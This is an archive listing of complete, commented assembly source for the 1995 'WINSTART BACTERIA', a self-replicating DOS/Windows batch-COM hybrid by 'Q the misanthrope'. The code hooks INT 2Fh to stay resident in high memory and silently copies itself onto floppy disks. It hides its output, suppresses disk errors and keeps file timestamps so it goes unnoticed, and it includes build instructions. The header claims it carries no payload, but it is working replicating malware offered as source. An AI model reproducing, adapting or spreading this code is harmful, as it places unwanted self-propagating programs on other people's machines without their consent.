home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / BATCHCOL.ZIP / VIRUSES.ZIP / WINSTART.ZIP / WINST297.ZIP / WINSTART.ASM next >
Encoding:
Assembly Source File  |  1995-03-01  |  8.2 KB  |  242 lines

  1. comment *
  2.  
  3.  
  4. Virus Name:  BACTERIA
  5. Aliases:     WINSTART
  6. V Status:    New computer life form
  7. Discovery:   February, 1995
  8. Symptoms:    WINSTART.BAT files appear in C:\ and on half full floppies
  9. Origin:      USA
  10. Eff Length:  297 Bytes
  11. Type Code:   Re - Extended HMA Memory Resident Non-infecting Bacteria
  12. Detection Method:  None
  13. Removal Instructions:  See Below
  14.  
  15. General Comments:
  16.  
  17.     The WINSTART BACTERIA is a new form of computer life.  It is not
  18.     quite a virus.  It is not a trojan.  It is not a worm.  It is a
  19.     bacteria.
  20.  
  21.     It does not spawn or attach or overwrite any files or boot sectors.
  22.     It installs when Microsoft Windows starts up.  It creates itself on
  23.     diskettes.
  24.  
  25.     The dictionary definition of a bacteria is:
  26.     Any of numerous sometimes parasitic unicellular orginisms having
  27.     various forms and often causing disease.
  28.  
  29.     The WINSTART BACTERIA meets this definition.  WINSTART is both a
  30.     .BAT batch file and a .COM file (various forms).  It is unicellular;
  31.     it does not mutate and remains a simple batch file WINSTART.BAT.
  32.     The WINSTART BACTERIA can travel and install on new computers.  It is
  33.     not parasitic.  WINSTART BACTERIA does not cause disease.
  34.  
  35.     The way that WINSTART.BAT is started, is to run Microsoft Windows and
  36.     have WINSTART.BAT be in the current directory or in the PATH.
  37.     WINSTART installs in it's batch file form by running WINSTART.BAT.
  38.     After WINSTALL.BAT starts, it copies itself to C:\Q.COM.  It then
  39.     runs C:\Q.COM.  Q.COM renames Q.COM to C:\WINSTART.BAT again.  Q.COM
  40.     then goes memory resident in the HMA (High Memory Area).  If drive
  41.     A: or B: become the default drive, WINSTART.BAT will copy itself to
  42.     the Diskette in the current directory if the disk is more than half
  43.     full.  The file date and time of WINSTART.BAT will not be changed to
  44.     the current date and time.
  45.  
  46.     WINSTALL.BAT then travels on data disks.  If the contents of the disk
  47.     are copied to another system, and Windows is started in the same
  48.     directory as the WINSTART.BAT then the process can start all over
  49.     again.  
  50.  
  51.     When the WINSTALL.BAT file is started by Windows, WINSTALL.BAT will
  52.     move to the root directory of drive C:\.  This makes it very easy
  53.     to go memory resident next time Windows starts up from the root
  54.     directory.
  55.  
  56.     The WINSTART BACTERIA contains no payload.
  57.  
  58.     Removal is done by deleting all WINSTART.BAT files.
  59.  
  60.     *
  61.  
  62. ;-----------------------------------------------------------------------------
  63.  
  64. .286
  65.  
  66.  
  67. ;designed by "Q" the misanthrope.
  68.  
  69.  
  70. ;tasm winstart /m1        
  71. ;tlink winstart /t
  72. ;ren winstart.com winstart.bat
  73.  
  74.  
  75. cseg            segment byte public 'CODE'
  76.         assume cs:cseg, es:cseg, ss:nothing, ds:cseg
  77.  
  78.  
  79.         org    100h
  80.  
  81. batch_file:
  82.  
  83.         db      '@ECHO  OFF',0dh,0ah
  84.         db      ':'
  85.         jnc     com_code                ;goto com_code
  86.         jc      com_code                ;be sure to get there
  87.         db      0dh,0ah
  88.         db      'COPY %0.BAT '          ;copy batch file to c:\q.com
  89. source_file:    db      'C:\Q.COM'
  90. null_terminate: db      '>NUL',0dh,0ah          ;don't let people see it
  91.         db      'C:\Q',0dh,0ah          ;run the batch file as com file
  92.         db      1ah                     ;ctrl-z terminate batch file
  93.         
  94.  
  95. com_code        proc    near                    ;set c:\q.com null terminated
  96.         mov     ax,0b700h               ;check install
  97.         mov     byte ptr ds:[null_terminate],al
  98.         int     2fh
  99.         cmp     al,0ffh
  100.         je      no_load                 ;if mem resident bypass move
  101. com_code        endp
  102.  
  103.  
  104. move_to_hma     proc    near                    ;allocated hma space 
  105.         mov     di,0ffffh
  106.         mov     bx,mem_res_end-mem_res_start+05h
  107.         mov     ax,4a02h                ;5 extra bytes for luck
  108.         int     2fh
  109.         inc     di                      
  110.         jz      no_load                 ;di=0 if no hma
  111.         push    di                      ;else di=where to load
  112.         cld
  113.         mov     si,offset mem_res_start ;point to mem res code
  114.         mov     cx,mem_res_end-mem_res_start
  115.         rep     movsb                   ;move it to hma
  116. move_to_hma     endp
  117.  
  118.  
  119. hook_in_int_2f  proc    near
  120.         mov     ds,cx                   ;int 2f chain always has
  121.         mov     si,0706h                ;been at address 70:5
  122.         movsw                           ;copy old int 2f address
  123.         movsw                           ;to hma
  124.         pop     word ptr ds:[si-04h]    ;link in hma code
  125.         mov     word ptr ds:[si-04h+02h],es
  126. hook_in_int_2f  endp
  127.  
  128.  
  129. no_load         proc    near                    ;do some renaming and deletes
  130.         push    cs
  131.         push    cs
  132.         mov     dx,offset source_file   ;ren c:\q.com c:\winstart.bat
  133.         mov     di,offset rename_file
  134.         pop     ds
  135.         pop     es
  136.         mov     ah,56h                  ;rename it
  137.         int     21h
  138.         mov     ah,41h                  ;del c:\q.com
  139.         int     21h
  140.         mov     dx,di
  141.         inc     cx
  142.         mov     ax,4301h                ;set c:\winstart.bat readonly
  143.         int     21h
  144.         int     20h                     ;leave the simple way
  145. no_load         endp
  146.  
  147.  
  148. mem_res_start   label   byte                    ;memory resident code
  149.  
  150.  
  151. isr2f           proc    far
  152.         cmp     ax,0b700h               ;installation check
  153.         jne     check_command           ;also for APPEND
  154.         mov     al,0ffh
  155.         iret
  156. check_command:  cmp     ax,0ae00h               ;check if installable command
  157.         je      next_test               ;used by APPEND
  158. goto_onward:    jmp     onward
  159. next_test:      cmp     dx,0ffffh
  160.         jne     goto_onward
  161.         cmp     ch,dh
  162.         jne     goto_onward
  163.         pusha
  164.         push    ds
  165.         push    cs
  166.         pop     ds
  167.         mov     ah,19h                  ;get default drive
  168.         int     21h
  169.         mov     ah,36h                  ;get free disk space
  170.         cwd                             ;default drive
  171.         cmp     al,01h                  ;above drive b:
  172.         ja      pop_n_go                ;then not interested
  173.         int     21h
  174.         shr     dx,1                    ;divide total clusters by 2
  175.         cmp     bx,dx                   ;is the disk half full or half
  176.         call    rename_offset           ;such a simple way to get dx
  177. rename_file     db      'C:\WINSTART.BAT',0     ;instead of call next pop bp
  178. rename_offset:  pop     dx                      ;sub bp,???? lea dx,[bp+????]
  179.         mov     ax,3d40h                ;open file c:\winstart.bat
  180.         ja      pop_n_go                ;empty for the pesimists
  181.         int     21h
  182.         jc      pop_n_go                ;failure then leave
  183.         xchg    ax,bx
  184.         mov     ax,5b00h                ;create a file winstart.bat
  185.         xor     cx,cx                   ;normal attributes
  186.         mov     ds,cx
  187.         mov     di,0018h*04h            ;get and set int 24 to a fail
  188.         push    word ptr ds:[di+(24h-18h)*04h]
  189.         push    word ptr ds:[di+02h+(24h-18h)*04h]
  190.         mov     word ptr ds:[di+(24h-18h)*04h],di
  191.         mov     word ptr ds:[di+02h+(24h-18h)*04h],ds
  192.         mov     word ptr ds:[di],5555h
  193.         org     $-2
  194.         mov     al,03h                  ;return a fail
  195.         mov     byte ptr ds:[di+02h],55h
  196.         org     $-1
  197.         iret                            ;return back to caller
  198.         push    cs
  199.         pop     ds
  200.         add     dl,03h                  ;just winstart.bat
  201.         int     21h
  202.         mov     ds,cx                   ;restore critical handler
  203.         pop     word ptr ds:[di+02h+(24h-18h)*04h]      
  204.         pop     word ptr ds:[di+(24h-18h)*04h]
  205.         jc      close_n_go              ;failure then leave
  206.         xchg    ax,bp
  207. loop_copy:      push    bx
  208.         mov     ah,3fh                  ;read c:\winstart.bat
  209.         mov     dx,di                   ;read it at int 18's 4 bytes
  210.         mov     cl,04h                  ;done this way because
  211.         int     21h                     ;int 21 won't write to the hma
  212.         xchg    ax,cx                   ;ax was bytes read
  213.         mov     ah,40h                  ;now write it to floppy
  214.         mov     bx,bp
  215.         int     21h
  216.         or      ax,ax                   ;zero bytes written?
  217.         pop     bx
  218.         jnz     loop_copy               ;if not then continue
  219.         mov     ax,5700h                ;get original file date/time
  220.         int     21h
  221.         mov     ah,3eh                  ;close the file
  222.         int     21h
  223.         mov     bx,bp
  224.         mov     ax,5701h                ;set file date/time
  225.         int     21h
  226. close_n_go:     mov     ah,3eh                  ;close the file
  227.         int     21h
  228. pop_n_go:       pop     ds
  229.         popa
  230. onward:         db      0eah                    ;jmp original int 2f
  231. isr2f           endp
  232.  
  233.  
  234. mem_res_end     label   byte
  235.  
  236.  
  237. cseg            ends
  238.  
  239.  
  240.         end    batch_file
  241.  
  242.